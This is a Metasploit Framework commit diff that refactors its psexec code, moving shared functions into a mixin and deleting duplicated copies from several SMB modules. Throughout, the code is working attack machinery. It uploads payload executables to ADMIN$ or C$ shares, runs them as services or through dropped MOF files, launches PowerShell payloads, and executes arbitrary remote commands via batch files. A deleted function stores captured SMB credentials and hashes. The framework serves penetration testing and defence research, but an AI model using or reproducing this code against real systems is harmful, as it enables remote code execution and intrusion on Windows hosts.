Land #9881, cleanup psexec code
This commit is contained in:
commit
28173222a8
|
@ -2,6 +2,8 @@
|
|||
require 'rex/proto/dcerpc/svcctl'
|
||||
require 'windows_error'
|
||||
require 'windows_error/win32'
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'msf/core/exploit/wbemexec'
|
||||
|
||||
include WindowsError::Win32
|
||||
|
||||
|
@ -20,6 +22,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
include Msf::Exploit::Windows_Constants
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::Exploit::Failure
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
@ -193,6 +196,246 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
true
|
||||
end
|
||||
|
||||
end
|
||||
def powershell_installed?(smb_share, psh_path)
|
||||
share = "\\\\#{datastore['RHOST']}\\#{smb_share}"
|
||||
|
||||
case smb_share.upcase
|
||||
when 'ADMIN$'
|
||||
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
when 'C$'
|
||||
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
else
|
||||
path = psh_path
|
||||
end
|
||||
|
||||
simple.connect(share)
|
||||
vprint_status("Checking for #{path}")
|
||||
if smb_file_exist?(path)
|
||||
vprint_status('PowerShell found')
|
||||
psh = true
|
||||
else
|
||||
vprint_status('PowerShell not found')
|
||||
psh = false
|
||||
end
|
||||
|
||||
simple.disconnect(share)
|
||||
psh
|
||||
end
|
||||
|
||||
def execute_command(text, bat, cmd)
|
||||
# Try and execute the provided command
|
||||
execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
|
||||
vprint_status("Executing the command...")
|
||||
begin
|
||||
return psexec(execute)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
|
||||
print_error("Unable to execute specified command: #{e}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay, rt)
|
||||
res = execute_command(text, bat, cmd)
|
||||
if res
|
||||
for i in 0..(rt)
|
||||
Rex.sleep(delay)
|
||||
# if the output file is still locked then the program is still likely running
|
||||
if (exclusive_access(text, smb_share, r_ip))
|
||||
break
|
||||
elsif (i == rt)
|
||||
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
|
||||
end
|
||||
end
|
||||
output = get_output(text, smb_share, r_ip)
|
||||
end
|
||||
|
||||
cleanup_after(bat, smb_share, r_ip)
|
||||
output
|
||||
end
|
||||
|
||||
def execute_powershell_payload
|
||||
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
|
||||
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
|
||||
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
|
||||
end
|
||||
|
||||
# Execute the powershell command
|
||||
print_status("Executing the payload...")
|
||||
begin
|
||||
psexec(command)
|
||||
rescue StandardError => exec_command_error
|
||||
fail_with(Msf::Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
end
|
||||
end
|
||||
|
||||
def native_upload(smb_share)
|
||||
filename = "#{rand_text_alpha(8)}.exe"
|
||||
serviceencoder = ''
|
||||
|
||||
# Upload the shellcode to a file
|
||||
print_status("Uploading payload...")
|
||||
smbshare = smb_share
|
||||
fileprefix = ""
|
||||
# if SHARE = Users/sasha/ or something like this
|
||||
if smbshare =~ /.[\\\/]/
|
||||
subfolder = true
|
||||
smbshare = smb_share.dup
|
||||
smbshare = smbshare.gsub(/^[\\\/]/,"")
|
||||
folder_list = smbshare.split(/[\\\/]/)
|
||||
smbshare = folder_list[0]
|
||||
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
|
||||
else
|
||||
subfolder = false
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{filename}", 'rwct')
|
||||
end
|
||||
exe = ''
|
||||
opts = { :servicename => service_name, :serviceencoder => serviceencoder}
|
||||
begin
|
||||
exe = generate_payload_exe_service(opts)
|
||||
|
||||
fd << exe
|
||||
ensure
|
||||
fd.close
|
||||
end
|
||||
|
||||
if subfolder
|
||||
print_status("Created \\#{fileprefix}\\#{filename}...")
|
||||
else
|
||||
print_status("Created \\#{filename}...")
|
||||
end
|
||||
|
||||
# Disconnect from the share
|
||||
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
|
||||
# define the file location
|
||||
if smb_share == 'ADMIN$'
|
||||
file_location = "%SYSTEMROOT%\\#{filename}"
|
||||
elsif smb_share =~ /^[a-zA-Z]\$$/
|
||||
file_location = smb_share.slice(0,1) + ":\\#{filename}"
|
||||
else
|
||||
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
|
||||
end
|
||||
|
||||
psexec(file_location, false)
|
||||
|
||||
unless datastore['SERVICE_PERSIST']
|
||||
print_status("Deleting \\#{filename}...")
|
||||
#This is not really useful but will prevent double \\ on the wire :)
|
||||
if smb_share =~ /.[\\\/]/
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{fileprefix}\\#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
|
||||
end
|
||||
else
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{filename} failed: #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def mof_upload(smb_share)
|
||||
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
|
||||
filename = "#{rand_text_alpha(8)}.exe"
|
||||
|
||||
# payload as exe
|
||||
print_status("Trying wbemexec...")
|
||||
print_status("Uploading Payload...")
|
||||
if smb_share != 'ADMIN$'
|
||||
print_error('Wbem will only work with ADMIN$ share')
|
||||
return
|
||||
end
|
||||
simple.connect(share)
|
||||
exe = generate_payload_exe
|
||||
fd = smb_open("\\system32\\#{filename}", 'rwct')
|
||||
fd << exe
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\#{filename}")
|
||||
|
||||
# mof to cause execution of above
|
||||
mofname = rand_text_alphanumeric(14) + ".MOF"
|
||||
mof = generate_mof(mofname, filename)
|
||||
print_status("Uploading MOF...")
|
||||
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
|
||||
fd << mof
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
|
||||
|
||||
# Disconnect from the ADMIN$
|
||||
simple.disconnect(share)
|
||||
end
|
||||
|
||||
private
|
||||
# Retrive output from command
|
||||
def get_output(file, smb_share, r_ip)
|
||||
print_status("Getting the command output...")
|
||||
output = smb_read_file(smb_share, r_ip, file)
|
||||
if output.nil?
|
||||
print_error("Error getting command output. #{$!.class}. #{$!}.")
|
||||
return
|
||||
end
|
||||
if output.empty?
|
||||
print_status("Command finished with no output")
|
||||
return
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
# check if our process is done using these files
|
||||
def exclusive_access(*files, smb_share, r_ip)
|
||||
begin
|
||||
simple.connect("\\\\#{r_ip}\\#{smb_share}")
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_status("Unable to get handle: #{accesserror}")
|
||||
return false
|
||||
end
|
||||
files.each do |file|
|
||||
begin
|
||||
print_status("checking if the file is unlocked")
|
||||
fd = smb_open(file, 'rwo')
|
||||
fd.close
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_status("Unable to get handle: #{accesserror}")
|
||||
return false
|
||||
end
|
||||
simple.disconnect("\\\\#{r_ip}\\#{smb_share}")
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
def cleanup_after(*files, smb_share, r_ip)
|
||||
begin
|
||||
simple.connect("\\\\#{r_ip}\\#{smb_share}")
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", "
|
||||
)} from the target.")
|
||||
return
|
||||
end
|
||||
print_status("Executing cleanup...")
|
||||
files.each do |file|
|
||||
begin
|
||||
smb_file_rm(file)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
|
||||
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
|
||||
end
|
||||
end
|
||||
left = files.collect{ |f| smb_file_exist?(f) }
|
||||
if left.any?
|
||||
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
|
||||
else
|
||||
print_good("Cleanup was successful")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||
include Msf::Exploit::Remote::SMB::Client::Psexec
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
@ -92,119 +93,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
@ip = ip
|
||||
|
||||
# Try and authenticate with given credentials
|
||||
res = execute_command(text, bat)
|
||||
|
||||
if res
|
||||
for i in 0..(datastore['RETRY'])
|
||||
Rex.sleep(datastore['DELAY'])
|
||||
# if the output file is still locked then the program is still likely running
|
||||
if (exclusive_access(text))
|
||||
break
|
||||
elsif (i == datastore['RETRY'])
|
||||
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
|
||||
end
|
||||
end
|
||||
get_output(text)
|
||||
end
|
||||
|
||||
cleanup_after(text, bat)
|
||||
end
|
||||
|
||||
#
|
||||
# TODO: the rest shamelessly copypasta from auxiliary/admin/smb/psexec_command
|
||||
# it should probably be mixin'd. I have changed some of vprint/print tho
|
||||
# => zerosum0x0
|
||||
#
|
||||
|
||||
# Executes specified Windows Command
|
||||
def execute_command(text, bat)
|
||||
# Try and execute the provided command
|
||||
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
|
||||
vprint_status("Executing the command...")
|
||||
begin
|
||||
return psexec(execute)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
|
||||
print_error("Unable to execute specified command: #{e}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Retrive output from command
|
||||
def get_output(file)
|
||||
vprint_status("Getting the command output...")
|
||||
output = smb_read_file(@smbshare, @ip, file)
|
||||
if output.nil?
|
||||
print_error("Error getting command output. #{$!.class}. #{$!}.")
|
||||
return
|
||||
end
|
||||
if output.empty?
|
||||
print_status("Command finished with no output")
|
||||
return
|
||||
end
|
||||
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY'])
|
||||
|
||||
# Report output
|
||||
vprint_good("Command completed successfuly!")
|
||||
|
||||
# zerosum0x0: this is better with Verbose off in this case
|
||||
print_status("Output for \"#{datastore['COMMAND']}\":")
|
||||
print_line("#{output}")
|
||||
|
||||
print_good("Command completed successfuly!")
|
||||
print_status("Output for \"#{datastore['COMMAND']}\":\n")
|
||||
print_line("#{output}\n")
|
||||
report_note(
|
||||
:rhost => datastore['RHOSTS'],
|
||||
:rport => datastore['RPORT'],
|
||||
:type => "psexec_command",
|
||||
:type => "psexec_command",
|
||||
:name => datastore['COMMAND'],
|
||||
:data => output
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
# check if our process is done using these files
|
||||
def exclusive_access(*files)
|
||||
begin
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_error("Unable to get handle: #{accesserror}")
|
||||
return false
|
||||
end
|
||||
files.each do |file|
|
||||
begin
|
||||
vprint_status("checking if the file is unlocked")
|
||||
fd = smb_open(file, 'rwo')
|
||||
fd.close
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_error("Unable to get handle: #{accesserror}")
|
||||
return false
|
||||
end
|
||||
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
# Removes files created during execution.
|
||||
def cleanup_after(*files)
|
||||
begin
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
|
||||
return
|
||||
end
|
||||
vprint_status("Executing cleanup...")
|
||||
files.each do |file|
|
||||
begin
|
||||
smb_file_rm(file)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
|
||||
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
|
||||
end
|
||||
end
|
||||
left = files.collect{ |f| smb_file_exist?(f) }
|
||||
if left.any?
|
||||
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
|
||||
else
|
||||
print_good("Cleanup was successful")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -69,112 +69,22 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_error("Unable to authenticate with given credentials: #{autherror}")
|
||||
return
|
||||
end
|
||||
res = execute_command(text, bat)
|
||||
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY'])
|
||||
|
||||
if res
|
||||
for i in 0..(datastore['RETRY'])
|
||||
Rex.sleep(datastore['DELAY'])
|
||||
# if the output file is still locked then the program is still likely running
|
||||
if (exclusive_access(text))
|
||||
break
|
||||
elsif (i == datastore['RETRY'])
|
||||
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
|
||||
end
|
||||
end
|
||||
get_output(text)
|
||||
unless output.nil?
|
||||
print_good("Command completed successfuly!")
|
||||
print_status("Output for \"#{datastore['COMMAND']}\":\n")
|
||||
print_line("#{output}\n")
|
||||
report_note(
|
||||
:rhost => datastore['RHOSTS'],
|
||||
:rport => datastore['RPORT'],
|
||||
:type => "psexec_command",
|
||||
:name => datastore['COMMAND'],
|
||||
:data => output
|
||||
)
|
||||
end
|
||||
|
||||
cleanup_after(text, bat)
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
# Executes specified Windows Command
|
||||
def execute_command(text, bat)
|
||||
# Try and execute the provided command
|
||||
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
|
||||
print_status("Executing the command...")
|
||||
begin
|
||||
return psexec(execute)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
|
||||
print_error("Unable to execute specified command: #{e}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Retrive output from command
|
||||
def get_output(file)
|
||||
print_status("Getting the command output...")
|
||||
output = smb_read_file(@smbshare, @ip, file)
|
||||
if output.nil?
|
||||
print_error("Error getting command output. #{$!.class}. #{$!}.")
|
||||
return
|
||||
end
|
||||
if output.empty?
|
||||
print_status("Command finished with no output")
|
||||
return
|
||||
end
|
||||
|
||||
# Report output
|
||||
print_good("Command completed successfuly!")
|
||||
vprint_status("Output for \"#{datastore['COMMAND']}\":")
|
||||
vprint_line("#{output}")
|
||||
|
||||
report_note(
|
||||
:rhost => datastore['RHOSTS'],
|
||||
:rport => datastore['RPORT'],
|
||||
:type => "psexec_command",
|
||||
:name => datastore['COMMAND'],
|
||||
:data => output
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
# check if our process is done using these files
|
||||
def exclusive_access(*files)
|
||||
begin
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_status("Unable to get handle: #{accesserror}")
|
||||
return false
|
||||
end
|
||||
files.each do |file|
|
||||
begin
|
||||
print_status("checking if the file is unlocked")
|
||||
fd = smb_open(file, 'rwo')
|
||||
fd.close
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_status("Unable to get handle: #{accesserror}")
|
||||
return false
|
||||
end
|
||||
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
# Removes files created during execution.
|
||||
def cleanup_after(*files)
|
||||
begin
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
|
||||
return
|
||||
end
|
||||
print_status("Executing cleanup...")
|
||||
files.each do |file|
|
||||
begin
|
||||
smb_file_rm(file)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
|
||||
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
|
||||
end
|
||||
end
|
||||
left = files.collect{ |f| smb_file_exist?(f) }
|
||||
if left.any?
|
||||
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
|
||||
else
|
||||
print_good("Cleanup was successful")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -17,6 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||
include Msf::Exploit::Remote::SMB::Client::Psexec
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::WbemExec
|
||||
|
@ -119,221 +120,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def smb_pwn()
|
||||
case target.name
|
||||
when 'Automatic'
|
||||
if powershell_installed?
|
||||
if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])
|
||||
print_status('Selecting PowerShell target')
|
||||
powershell
|
||||
execute_powershell_payload
|
||||
else
|
||||
print_status('Selecting native target')
|
||||
native_upload
|
||||
native_upload(datastore['SHARE'])
|
||||
end
|
||||
when 'PowerShell'
|
||||
powershell
|
||||
execute_powershell_payload
|
||||
when 'Native upload'
|
||||
native_upload
|
||||
when 'MOF upload'
|
||||
mof_upload
|
||||
mof_upload(datastore['SHARE'])
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
|
||||
# TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to
|
||||
# be moved into a mixin
|
||||
|
||||
def powershell_installed?
|
||||
share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"
|
||||
|
||||
case datastore['SHARE'].upcase
|
||||
when 'ADMIN$'
|
||||
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
when 'C$'
|
||||
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
else
|
||||
path = datastore['PSH_PATH']
|
||||
end
|
||||
|
||||
simple.connect(share)
|
||||
|
||||
vprint_status("Checking for #{path}")
|
||||
|
||||
if smb_file_exist?(path)
|
||||
vprint_status('PowerShell found')
|
||||
psh = true
|
||||
else
|
||||
vprint_status('PowerShell not found')
|
||||
psh = false
|
||||
end
|
||||
|
||||
simple.disconnect(share)
|
||||
|
||||
psh
|
||||
end
|
||||
|
||||
def powershell
|
||||
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
|
||||
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
|
||||
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
|
||||
end
|
||||
|
||||
# Execute the powershell command
|
||||
print_status("Executing the payload...")
|
||||
begin
|
||||
psexec(command)
|
||||
rescue StandardError => exec_command_error
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
end
|
||||
end
|
||||
|
||||
def native_upload
|
||||
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
|
||||
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
|
||||
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
|
||||
|
||||
# Upload the shellcode to a file
|
||||
print_status("Uploading payload...")
|
||||
smbshare = datastore['SHARE']
|
||||
fileprefix = ""
|
||||
# if SHARE = Users/sasha/ or something like this
|
||||
if smbshare =~ /.[\\\/]/
|
||||
subfolder = true
|
||||
smbshare = datastore['SHARE'].dup
|
||||
smbshare = smbshare.gsub(/^[\\\/]/,"")
|
||||
folder_list = smbshare.split(/[\\\/]/)
|
||||
smbshare = folder_list[0]
|
||||
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
|
||||
else
|
||||
subfolder = false
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{filename}", 'rwct')
|
||||
end
|
||||
exe = ''
|
||||
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
|
||||
begin
|
||||
exe = generate_payload_exe_service(opts)
|
||||
|
||||
fd << exe
|
||||
ensure
|
||||
fd.close
|
||||
end
|
||||
|
||||
if subfolder
|
||||
print_status("Created \\#{fileprefix}\\#{filename}...")
|
||||
else
|
||||
print_status("Created \\#{filename}...")
|
||||
end
|
||||
|
||||
# Disconnect from the share
|
||||
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
|
||||
# define the file location
|
||||
if datastore['SHARE'] == 'ADMIN$'
|
||||
file_location = "%SYSTEMROOT%\\#{filename}"
|
||||
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
|
||||
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
|
||||
else
|
||||
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
|
||||
end
|
||||
|
||||
psexec(file_location, false)
|
||||
|
||||
unless datastore['SERVICE_PERSIST']
|
||||
print_status("Deleting \\#{filename}...")
|
||||
#This is not really useful but will prevent double \\ on the wire :)
|
||||
if datastore['SHARE'] =~ /.[\\\/]/
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{fileprefix}\\#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
|
||||
end
|
||||
else
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{filename} failed: #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def mof_upload
|
||||
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
|
||||
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
|
||||
|
||||
# payload as exe
|
||||
print_status("Trying wbemexec...")
|
||||
print_status("Uploading Payload...")
|
||||
if datastore['SHARE'] != 'ADMIN$'
|
||||
print_error('Wbem will only work with ADMIN$ share')
|
||||
return
|
||||
end
|
||||
simple.connect(share)
|
||||
exe = generate_payload_exe
|
||||
fd = smb_open("\\system32\\#{filename}", 'rwct')
|
||||
fd << exe
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\#{filename}")
|
||||
|
||||
# mof to cause execution of above
|
||||
mofname = rand_text_alphanumeric(14) + ".MOF"
|
||||
mof = generate_mof(mofname, filename)
|
||||
print_status("Uploading MOF...")
|
||||
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
|
||||
fd << mof
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
|
||||
|
||||
# Disconnect from the ADMIN$
|
||||
simple.disconnect(share)
|
||||
end
|
||||
|
||||
def report_auth
|
||||
service_data = {
|
||||
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
private_data: datastore['SMBPass'],
|
||||
username: datastore['SMBUser'].downcase
|
||||
}
|
||||
|
||||
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
|
||||
credential_data.merge!({
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: datastore['SMBDomain']
|
||||
})
|
||||
end
|
||||
|
||||
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
|
||||
credential_data.merge!({:private_type => :ntlm_hash})
|
||||
else
|
||||
credential_data.merge!({:private_type => :password})
|
||||
end
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
access_level: 'Admin',
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -112,177 +112,25 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
case target.name
|
||||
when 'Automatic'
|
||||
if powershell_installed?
|
||||
if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])
|
||||
print_status('Selecting PowerShell target')
|
||||
powershell
|
||||
execute_powershell_payload
|
||||
else
|
||||
print_status('Selecting native target')
|
||||
native_upload
|
||||
native_upload(datastore['SHARE'])
|
||||
end
|
||||
when 'PowerShell'
|
||||
powershell
|
||||
execute_powershell_payload
|
||||
when 'Native upload'
|
||||
native_upload
|
||||
when 'MOF upload'
|
||||
mof_upload
|
||||
mof_upload(datastore['SHARE'])
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
def powershell_installed?
|
||||
share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"
|
||||
|
||||
case datastore['SHARE'].upcase
|
||||
when 'ADMIN$'
|
||||
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
when 'C$'
|
||||
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
else
|
||||
path = datastore['PSH_PATH']
|
||||
end
|
||||
|
||||
simple.connect(share)
|
||||
|
||||
vprint_status("Checking for #{path}")
|
||||
|
||||
if smb_file_exist?(path)
|
||||
vprint_status('PowerShell found')
|
||||
psh = true
|
||||
else
|
||||
vprint_status('PowerShell not found')
|
||||
psh = false
|
||||
end
|
||||
|
||||
simple.disconnect(share)
|
||||
|
||||
psh
|
||||
end
|
||||
|
||||
def powershell
|
||||
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
|
||||
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
|
||||
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
|
||||
end
|
||||
|
||||
# Execute the powershell command
|
||||
print_status("Executing the payload...")
|
||||
begin
|
||||
psexec(command)
|
||||
rescue StandardError => exec_command_error
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
end
|
||||
end
|
||||
|
||||
def native_upload
|
||||
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
|
||||
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
|
||||
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
|
||||
|
||||
# Upload the shellcode to a file
|
||||
print_status("Uploading payload...")
|
||||
smbshare = datastore['SHARE']
|
||||
fileprefix = ""
|
||||
# if SHARE = Users/sasha/ or something like this
|
||||
if smbshare =~ /.[\\\/]/
|
||||
subfolder = true
|
||||
smbshare = datastore['SHARE'].dup
|
||||
smbshare = smbshare.gsub(/^[\\\/]/,"")
|
||||
folder_list = smbshare.split(/[\\\/]/)
|
||||
smbshare = folder_list[0]
|
||||
